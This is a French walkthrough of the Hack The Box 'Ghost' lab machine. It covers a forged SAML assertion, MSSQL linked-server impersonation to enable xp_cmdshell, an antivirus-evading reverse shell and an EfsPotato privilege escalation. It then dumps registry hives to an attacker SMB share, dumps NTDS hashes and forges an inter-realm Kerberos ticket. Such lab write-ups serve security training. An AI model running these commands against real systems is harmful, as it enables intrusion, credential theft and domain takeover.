dQQS9ESDlwR25OSkZLU3ltb1hBQytXeXNheTNKQ2tvNjhBaGUvVjE5U09ZL0xscGI1VldndlYwR2hHUjV6YTVQbTVSU05uZGRzczczdTVSS2VaRlZuS21GK3dCeDdXR0MwWEEzWHlSUkxUeFdYem13cVR4dXFHenVDa2NrRXgzaXNwcEFkSHc3azB1NjFOQnJxUC9CZnprTUx3WktBdnNGTHlTek1jZTBkM2dXbHhZWkNzUjBGcnJpcDBVQ3FES2tFbjUybWtWNWpKZitOZzJ4OGpuYUZlVUROWVJvT2Rrb0g1dFVPeUlsV0RIcnppZUU2cU9rWk5IZnlmQmExUk5HZFBvUENSZHZaN04wSDB3PTwvZHM6U2lnbmF0dXJlVmFsdWU%2BPGRzOktleUluZm8%2BPGRzOlg1MDlEYXRhPjxkczpYNTA5Q2VydGlmaWNhdGU%2BTUlJRTVqQ0NBczZnQXdJQkFnSVFKRmNXd015YlJhNU80K1dPNXRXb0dUQU5CZ2txaGtpRzl3MEJBUXNGQURBdU1Td3dLZ1lEVlFRREV5TkJSRVpUSUZOcFoyNXBibWNnTFNCbVpXUmxjbUYwYVc5dUxtZG9iM04wTG1oMFlqQWdGdzB5TkRBMk1UZ3hOakUzTVRCYUdBOHlNVEEwTURVek1ERTJNVGN4TUZvd0xqRXNNQ29HQTFVRUF4TWpRVVJHVXlCVGFXZHVhVzVuSUMwZ1ptVmtaWEpoZEdsdmJpNW5hRzl6ZEM1b2RHSXdnZ0lpTUEwR0NTcUdTSWIzRFFFQkFRVUFBNElDRHdBd2dnSUtBb0lDQVFDK0FBT0lmRXF0bFljbjE1M0wxQnZHUWdEeVhUbll3VFJ6c0s1OSt6RTF6Z0dLTzlONW5iOEZrK2RhS3BXTFFhaUg3b0RIYWVudy9RYXhCZzVxZGVEWW1EM296OEt5YUExeWdZQnJ6bTR3VzdGZjg3cks5RmU1SjUvaDZXOWc3NDloNUJJcVBRT3AwbDZzMXJmdW1PY2NONHliVzk1RVdOTDB2dVFYdkMrS1E0RDRnTVh1OG1DR3B4dHZJTDhpbE50SnVJRzNPUllTS2hSYWwweXlKZU9oRzR4Z2xyWkpGMThwOXdobkU2b21nZ21BNm4yc2hEay90dlRZamlpNWU3L2ljV1RLa3JzTUNwYUtVTms3bXhkTVpoUWFiN1NtZktyWk40cFJEN2RWZzV6ekl5RDdVelM5Q0hMQzZ4TnpxL1owaHVhT2FKaE9TZEpTZ2F0L2JzRzhuYngxOUhELyt5cFc5SjJMdE5GdWdkV3RtVUJXRE9RQllWaEI4U2c0VkVHZ1A5anlJdEhIMmJ6c0RmalJkSjhFMXVOSldQL2tRQTErd1lsT2RkTHFVM2IwSXNDdmxBOEV2WVcwVDFSc3U3N280eC93MGdXYjBvUVBFSXo3ejk3M2I0OTZ3cVF0M0RueWZlTzNsWFhmWk5jdmFqNUtDUDJUdEdCK0tzaEY5cGtJUHhxN0YyZ01oN1FqeGpSSHNBMjlWOGpGbzlnTEQ3a1BWaWNhSVVkc2dpRkhuWVFGMTRhNTJKdFIxVjVpTitoOTVKa3V1RXFRV0RCSEF2UEVCQlprRVpIKzV5VCthQ0ZYWFgrQnBQdDNRR2pZTGVKVThDRnNNdG44UVZMWXZMZGNWUnNVblJoL1dIaVh3Sk9PRVZFQ2E5dzcveVZuaGFsQ05CeDFFL2w0S1FJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQ3dVQUE0SUNBUUFXWUtaVzNjRENCTzZkVDN5ZmwzT2N1eXAxTFZLVkkrOXBGeC9iYldwV2pTZGg2YjM5TFR4eEQ3RllVdGh1V1BaM3JGNEcrRmRNRkhIQ3gzWXBFbVVGbkVMS3NYcWhaOTg5QVg1OEkvM21iZlVsS1dlSVBMU0xrcCtlUlpvTUprdDdrMS9LWHREYXNPUW4wTnNnWUVvd0xCSW1NQ011OXV1am5DbUZPd0hQL0lCaGdZUU1IaDQ2QnpTWFdQM2k4VlhiclJ0RHBvL2MvL09GSmhHbW5uRjhaUG1pNHh0emZTREJwVktxd1ZMcDc4Q2d1TXhqUWQrYmRVYjQ1NTg4Wko0Q0xzUGRSUXAzMFdKMS9DTklhZW52Sld0QTJHNUladzVVMEVXQ0pMb1lKV0ZzOWl5T2ExL3k1NXJ1VzZKOGxJR0Qwd21vRWVDbDlDSDFFZDRkelVkVVhmMU1CQ1lQM1g5MmlheHpVRTB1cEdkLzFRbzZIVHl5T2xXdUF3cmtUMlZIRUxLVlpLT2c4K2RseTk3Z3laSWZVdFF3SWtQd05sOHZvMDRjZmoraHpPdkJ6UEtBQVloMTROTGd2ZUFJL0RxTW5PME9LTyt3MUhCS3c2NE5CQ244Z29hekYrUHVGZlVPMHlOSEZMNGt4TXBjYXA2aWV2NmczQlhDU0R3ZnFUVU9FdUVzN3E5b1lLZ3EycW5OVk9USWhoSW5NWEJ6RW02aVAxM2pmdU9vWEpkUEFuRVVYbjR5NXl3QTk3cnRiR25aRVB5eDFmMUVrWC9oYnFCUDR2b2d2OWtsdGFVRUVWWGtTK2hQcHhabWV4Q05yQkQxcTdHSi81MGViWWxDMENldjh3Nk1zOHRNME9ydnBwR1lsV3J0UHdldkV2ZmlSa3dCTEc3RU1BbkxTdz09PC9kczpYNTA5Q2VydGlmaWNhdGU%2BPC9kczpYNTA5RGF0YT48L2RzOktleUluZm8%2BPC9kczpTaWduYXR1cmU%2BPFN1YmplY3Q%2BPE5hbWVJRCBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpuYW1laWQtZm9ybWF0OnRyYW5zaWVudCI%2BR0hPU1QuSFRCXGFkbWluaXN0cmF0b3I8L05hbWVJRD48U3ViamVjdENvbmZpcm1hdGlvbiBNZXRob2Q9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjbTpiZWFyZXIiPjxTdWJqZWN0Q29uZmlybWF0aW9uRGF0YSBOb3RPbk9yQWZ0ZXI9IjIwMjUtMDQtMDRUMjE6MzA6MjUuMDAwWiIgUmVjaXBpZW50PSJodHRwczovL2NvcmUuZ2hvc3QuaHRiOjg0NDMvYWRmcy9zYW1sL3Bvc3RSZXNwb25zZSIvPjwvU3ViamVjdENvbmZpcm1hdGlvbj48L1N1YmplY3Q%2BPENvbmRpdGlvbnMgTm90QmVmb3JlPSIyMDI1LTA0LTA0VDIxOjI1OjI1LjAwMFoiIE5vdE9uT3JBZnRlcj0iMjAyNS0wNC0wNFQyMjoyNToyNS4wMDBaIj48QXVkaWVuY2VSZXN0cmljdGlvbj48QXVkaWVuY2U%2BaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzPC9BdWRpZW5jZT48L0F1ZGllbmNlUmVzdHJpY3Rpb24%2BPC9Db25kaXRpb25zPjxBdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPEF0dHJpYnV0ZSBOYW1lPSJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy91cG4iPjxBdHRyaWJ1dGVWYWx1ZT5HSE9TVFxhZG1pbmlzdHJhdG9yPC9BdHRyaWJ1dGVWYWx1ZT48L0F0dHJpYnV0ZT48QXR0cmlidXRlIE5hbWU9Imh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL2NsYWltcy9Db21tb25OYW1lIj48QXR0cmlidXRlVmFsdWU%2BQWRtaW5pc3RyYXRvcjwvQXR0cmlidXRlVmFsdWU%2BPC9BdHRyaWJ1dGU%2BPC9BdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPEF1dGhuU3RhdGVtZW50IEF1dGhuSW5zdGFudD0iMjAyNS0wNC0wNFQyMToyNToyNC41MDBaIiBTZXNzaW9uSW5kZXg9Il84MjJUUDEiPjxBdXRobkNvbnRleHQ%2BPEF1dGhuQ29udGV4dENsYXNzUmVmPnVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphYzpjbGFzc2VzOlBhc3N3b3JkUHJvdGVjdGVkVHJhbnNwb3J0PC9BdXRobkNvbnRleHRDbGFzc1JlZj48L0F1dGhuQ29udGV4dD48L0F1dGhuU3RhdGVtZW50PjwvQXNzZXJ0aW9uPjwvc2FtbHA6UmVzcG9uc2U%2B
    

Exploitation de la base de données liée dans MSSQL
#

Nous pouvons ajouter le sous-domaine corp.ghost.htb à notre /etc/hosts et regarder comment fonctionne ce terminal MSSQL. Il semble que nous l’utilisions en tant que web_client :

  • Nous pouvons aussi vérifier que nous ne pouvons pas utiliser xp_cmdshell avec nos privilèges actuels. Dommage.
  • Nous voyons que les bases de données sont :
    • master
    • tempdb
    • model
    • msdb

Avec la commande suivante nous arrivons à obtenir le hash de l’utilisateur DC01$.

EXEC master..xp_dirtree '\\<MY_IP>\share\'

Et pour récupérer le hash :

sudo responder -w -v -I tun0

Ce NetNTLM Hash ne nous aide pas, alors vérifions si nous pouvons faire de l’impersonnation :

SELECT distinct b.name  FROM sys.server_permissions a  INNER JOIN sys.server_principals b  ON a.grantor_principal_id = b.principal_id  WHERE a.permission_name = 'IMPERSONATE'

Non plus mlaheureusement, voyons si cette base de données est liée à une autre base de données (comme l’indique le texte au-dessus du formulaire) :

SELECT srvname, isremote FROM sysservers

Nous pouvons voir que la base de données PRIMARY est liée (isremote est à false) :

Nous pouvons obtenir des informations sur le serveur à l’autre bout :

EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [PRIMARY]

Elevation de privilèges du serveur MSSQL distant et reverse shell
#

Cela signifie que nous pouvons exécuter la commande en tant que bridge_corp sur l’autre base de données. Nous pouvons également le vérifier en utilisant

EXEC sp_helplinkedsrvlogin

Nous pouvons vérifier si xp_cmdshell est activé (pas le cas dommage) :

EXECUTE('xp_cmdshell ''dir c:\''') AT [PRIMARY]

Vérifions donc, comme nous l’avons fait précédemment, si nous pouvons faire de l’impersonnation :

EXECUTE(' SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = ''IMPERSONATE''') AT [PRIMARY]

Looks like meat is back on the menu boys ! Il ne nous reste plus qu’à lancer

EXECUTE('EXECUTE AS LOGIN = ''sa''  SELECT SYSTEM_USER  SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [PRIMARY]

Nous pouvons maintenant activer l’exécution des commandes :

EXECUTE('EXECUTE AS LOGIN = ''sa''  EXECUTE sp_configure ''show advanced options'', 1 RECONFIGURE EXECUTE sp_configure ''xp_cmdshell'', 1 RECONFIGURE') AT [PRIMARY]

Maintenant nous pouvons exécuter n’importe quelle commande avec

EXECUTE('EXECUTE AS LOGIN = ''sa''  EXEC xp_cmdshell ''<CMD>''') AT [PRIMARY]

Exemple :

EXECUTE('EXECUTE AS LOGIN = ''sa''  EXEC xp_cmdshell ''dir C:\''') AT [PRIMARY]

Exécutons maintenant un reverse shell PowerShell base64 à partir de https://www.revshells.com/ On démarre un listener :

rlwrap -cAr nc -lnvp 4444

Nous lançons le reverse shell PowerShell base64 mais nous obtenons une erreur ! Bonne chose puisque cela signifie que le code a été exécuté, mauvaise chose puisque cela signifie que l’antivirus vérifie ce qui s’exécute :

Puisque l’antivirus tourne, nous devons utiliser un reverse shell qui ne sera pas signalé comme malveillant, comme celui gentiment généré par https://github.com/Adkali/PowerJoker

On réessaye avec la payload générée par powerjoker et 🎉 voici le shell :)

Élevation de privilèges sur la machine Windows
#

Nous avons maintenant le privilège seimpersonate ce qui est très utile 😁

Nous pouvons alors essayer de récupérer le code pour efspotato et le compiler sur la machine : ``bash wget https://raw.githubusercontent.com/zcgonvh/EfsPotato/refs/heads/master/EfsPotato.cs python -m http. server

puis
```powershell
(New-Object Net.WebClient).DownloadFile('http://10.10.16.64:8000/EfsPotato.cs','C:\Users\Public\a.cs')

csc n’est pas dans le chemin (ou potentiellement pas installé, mais heureusement il l’était) mais nous savons que le csc.exe devrait être dans c:\Windows\Microsoft.NET\Framework\vX.X.XXX en se basant sur la doc.

On utilise la commande fournie dans la documentation pour compiler avec la version 4.X

Nous pouvons maintenant générer une payload powershell avec PowerJocker, mais pour le port 4242 cette fois-ci, et la passer à notre EFSpotato (cadre vert) pour finalement obtenir un résultat (cadre rouge) :

Exploitation du lien de confiance pour obtenir un accès d’administrateur sur le domaine parent
#

Donc maintenant que nous sommes l’administrateur de cette machine, nous pouvons être capables de passer de corp.ghost.htb à ghost.htb en exploitant le lien de confiance entre les deux. Pour ce faire, nous pouvons créer un ticket sur le domaine parent pour un compte enfant, si nous avons la clef de confiance.

On dump le registre avec reg save :

reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save
sudo impacket-smbserver share . -smb2support -username pentester -password 92b165232fbd011da355eca0b033db22b934ba9af0145a437a832d27310b89f9
net use \\10.10.16.64\share /u:pentester 92b165232fbd011da355eca0b033db22b934ba9af0145a437a832d27310b89f9
copy C:\sam.save \\10.10.16.64\share\
copy C:\security.save \\10.10.16.64\share\
copy C:\system.save \\10.10.16.64\share\

Puis on lance

secretsdump.py -sam sam.save -security security.save -system system.save LOCAL > ../loots/DC01/dump

Nous avons le hash de la machine et pouvons maintenant l’utiliser pour dump la NTDS, et obtenir la clef de confiance afin d’utiliser ticketer.py. Pour cela, nous devons mettre en place un proxy réseau puisque la machine n’est pas dans le même sous-réseau.

sudo ip tuntap add user kali mode tun ligolo1
sudo ip link set ligolo1 up
ligolo-proxy -selfcert -laddr 0.0.0.0:443

Nous pouvons donc nous donner accès au sous-réseau 10.0.0.10/24 via cette :

sudo ip route add 10.0.0.0/24 dev ligolo1

Et exécuter dans l’interface ligolo :

start --tun ligolo1

Puis on éxécute

nxc smb 10.0.0.10 -u 'PRIMARY$' -H '27f92da5e3d79962020ddebc08ed7d70' --ntds

Et tada :

Administrator:500:aad3b435b51404eeaad3b435b51404ee:41515af3ada195029708a53d941ab751:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:69eb46aa347a8c68edb99be2725403ab:::      PRIMARY$:1000:aad3b435b51404eeaad3b435b51404ee:27f92da5e3d79962020ddebc08ed7d70:::           GHOST$:1103:aad3b435b51404eeaad3b435b51404ee:00734331c444199a36bf9b2b1a69e5d5:::

Pour accéder au domaine parent il nous faut :

  • la clef de confiance : GHOST$:1103:aad3b435b51404eeaad3b435b51404ee:00734331c444199a36bf9b2b1a69e5d5:::
  • Le SID du domaine parent : S-1-5-21-4084500788-938703357-3654145966 auquel on concatène -519 pour les Enterprise Admins (cf cette doc)
  • Le SID du domaine enfant : S-1-5-21-2034262909-2733679486-179904498
    On peut trouver les 2 SID sur bloodhound par exemple dans analysis > map domain trust et en regardant les informations de chaque domaine

Et nous créons le ticket en utilisant :

ticketer.py -nthash '00734331c444199a36bf9b2b1a69e5d5' -domain 'corp.ghost.htb' -domain-sid S-1-5-21-2034262909-2733679486-179904498 -extra-sid S-1-5-21-4084500788-938703357-3654145966-519 -spn krbtgt/'ghost.htb' Administrator

Nous pouvons maintenant exporter le ticket :

export KRB5CCNAME=~/Documents/HTB/Boxes/Ghost/loots/AD/Administrator.ccache

Et avec ça on peut demander un TGS pour accéder aux partages SMB sur le DC :

getST.py -k -no-pass -spn 'CIFS/DC01' 'ghost.htb'/'Administrator@corp.ghost.htb'

On exporte

export KRB5CCNAME=~/Documents/HTB/Boxes/Ghost/loots/AD/Administrator@corp.ghost.htb@CIFS_DC01@GHOST.HTB.ccache

Et nous pouvons (enfin !) récupérer le flag !

smbclient.py 'corp.ghost.htb'/'Administrator'@DC01 -k -no-pass

PS : J’ai vu par la suite que Ippsec venait de publier un writeup vidéo qui est excellent ! Si vous voulez une version vidéo, n’hésitez pas à y jeter un coup d’œil :